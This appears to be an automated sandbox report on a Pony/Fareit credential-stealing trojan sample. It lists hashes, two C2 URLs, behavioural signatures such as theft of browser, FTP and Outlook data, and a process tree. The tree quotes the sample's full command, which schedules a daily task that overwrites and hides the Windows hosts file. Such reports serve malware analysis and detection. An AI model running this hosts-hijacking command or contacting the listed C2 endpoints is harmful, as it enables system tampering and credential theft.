Analysis

  • max time kernel
    93s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-12-2024 04:53

General

  • Target

    f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe

  • Size

    92KB

  • MD5

    f2634d68ee5f6d43aeec44d75bed2e40

  • SHA1

    cfc9d8e6dce74776f61ae7523b6d62cac722649e

  • SHA256

    c0a4b867fa5ab4a6552709f77e2bd18cf9b863c6e7499622703be21d9c93d9da

  • SHA512

    a46eea7be5ee96eddf66fbd2f5959b6706f1e470efe736b60bedbe70c20b7b02099d819cc0fe2a7d65d0b939a2931015850f1a6a090a05b441b1772910485544

  • SSDEEP

    1536:IcEvya1spIM1GEN0L4QYVFhDp8QTtE8XgiPALbt9jITqbzhdm5f:IcEKaG2M1GEWL4QYVrTOijPubt9+qfh2

Malware Config

Extracted

Family

pony

C2

http://bjktyu.pw:4915/way/like.php

http://hsyujld.pw:4915/way/like.php

Signatures

  • Pony family
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe"
    1⤵
    • Drops file in Drivers directory
    • Checks computer location settings
    • Accesses Microsoft Outlook accounts
    • Accesses Microsoft Outlook profiles
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • outlook_win_path
    PID:2192
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 04:56:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240641890aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"
      2⤵
      • Drops file in Drivers directory
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2952
      • C:\Windows\SysWOW64\at.exe
        at 04:56:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240641890aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        PID:3980

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2192-0-0x0000000000404000-0x0000000000408000-memory.dmp

    Filesize

    16KB

  • memory/2192-1-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/2192-2-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/2192-3-0x0000000000404000-0x0000000000408000-memory.dmp

    Filesize

    16KB

  • memory/2192-4-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB

  • memory/2192-9-0x0000000000400000-0x0000000000422000-memory.dmp

    Filesize

    136KB